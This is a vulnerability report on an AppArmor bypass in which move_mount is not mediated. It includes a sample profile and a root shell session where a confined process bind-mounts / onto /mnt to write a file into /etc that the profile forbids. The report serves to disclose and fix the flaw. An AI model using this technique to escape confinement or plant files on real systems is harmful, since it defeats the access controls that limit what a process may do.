[apparmor] move_mount not handled by AppArmor completely subverts security

[Andreas Steinmetz]

Tested with kernel 6.4.12-arch1-1

AppArmor seemingly doesn't handle the move_mount system call. Thus
only CAP_SYS_ADMIN is required to bind mount any directory anywhere.
This allows to completely subvert security including e.g. rootkit
installation for a process that actually should be confined by an
enforced AppArmor policy.

Simple policy that should deny mounts and prevent system modification:

abi <abi/3.0>,
profile minimal {
 capability sys_admin,
 /bin/bash mr,
 /etc/** mrlk,
 /mnt/** mrwlk,
 /usr/** mrlkix,
 /proc/*/attr/apparmor/current r,
}

The following test then run as root:

[root /]# aa-exec -p minimal /bin/bash
bash: /dev/null: Permission denied
bash: /root/.bashrc: Permission denied
[root /]# cat /proc/self/attr/apparmor/current
minimal (enforce)
[root /]# ls -l /etc/malicious_software
ls: cannot access '/etc/malicious_software': No such file or directory
[root /]# touch /etc/malicious_software
touch: cannot touch '/etc/malicious_software': Permission denied
[root /]# mount --bind / /mnt
[root /]# touch /mnt/etc/malicious_software
[root /]# ls -l /etc/malicious_software
-rw-r--r-- 1 root root 0 Sep  5 16:27 /etc/malicious_software
[root /]#

This test case is very legitimate as it shows that the MAC enforcement
by AppArmor is completely bypassed, resulting is standard DAC access
control, which is not supposed to happen, especially as the enforced
profile does not allow for any mount operation.

Probably the whole set of system calls mentioned in
https://lwn.net/Articles/759499/ is probably not handled and thus
affected.